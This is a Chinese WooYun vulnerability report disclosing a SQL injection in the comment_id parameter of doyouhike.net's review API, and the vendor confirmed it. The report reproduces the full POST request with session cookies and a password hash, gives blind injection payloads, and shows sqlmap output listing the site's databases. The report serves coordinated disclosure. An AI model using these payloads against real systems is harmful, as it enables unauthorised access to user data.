当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165784

漏洞标题:磨房网SQL注入八(5库涉及百万用户数据)

相关厂商:doyouhike.net

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-29 17:46

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

········

详细说明:

POST数据包:

POST /api/reviews/update_comment HTTP/1.1
Host: www.doyouhike.net
Content-Length: 76
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.doyouhike.net
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 UBrowser/5.5.7852.203 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.doyouhike.net/dest/guangzhouyingguxian-hiking
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pgv_pvi=8593548288; PHPSESSID=g498gfeuatnq9p2af5uo30ljo2; dyh_userid=3009909; dyh_password=118c3ec5e8b073f978fc0b4d45e601c5; __utmt=1; addroute_return_url=http%3A%2F%2Fwww.doyouhike.net%2Fdest%2Fguangzhouyingguxian-hiking; dyh_lastactivity=1451378189; __utma=151782572.1166654032.1451292000.1451357909.1451371223.8; __utmb=151782572.75.10.1451371223; __utmc=151782572; __utmz=151782572.1451292000.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
short_desc=11111111111111111111111&star_level=5&comment_id=2967*&src_qd=route


参数 comment_id 可注入

10.png


这里就不跑了 按照之前的数据库····

0.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 101 HTTP(s) r
equests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: short_desc=11111111111111111111111&star_level=5&comment_id=2967 AND
1576=1576&src_qd=route
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: short_desc=11111111111111111111111&star_level=5&comment_id=2967 AND
(SELECT * FROM (SELECT(SLEEP(5)))VeVZ)&src_qd=route
---
[16:42:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[16:42:04] [INFO] fetching database names
[16:42:04] [INFO] fetching number of databases
[16:42:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:42:04] [INFO] retrieved: 5
[16:42:07] [INFO] retrieved: information_schema
[16:42:31] [INFO] retrieved: bizrc
[16:42:39] [INFO] retrieved: click
[16:42:45] [INFO] retrieved: g3rc
[16:42:52] [INFO] retrieved: sphinx
available databases [5]:
[*] bizrc
[*] click
[*] g3rc
[*] information_schema
[*] sphinx
[16:43:09] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 210 times
[16:43:09] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.doyouhike.net'
[*] shutting down at 16:43:09

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-30 10:54

厂商回复:

漏洞已确认,感谢作者

最新状态:

暂无


漏洞评价:

评价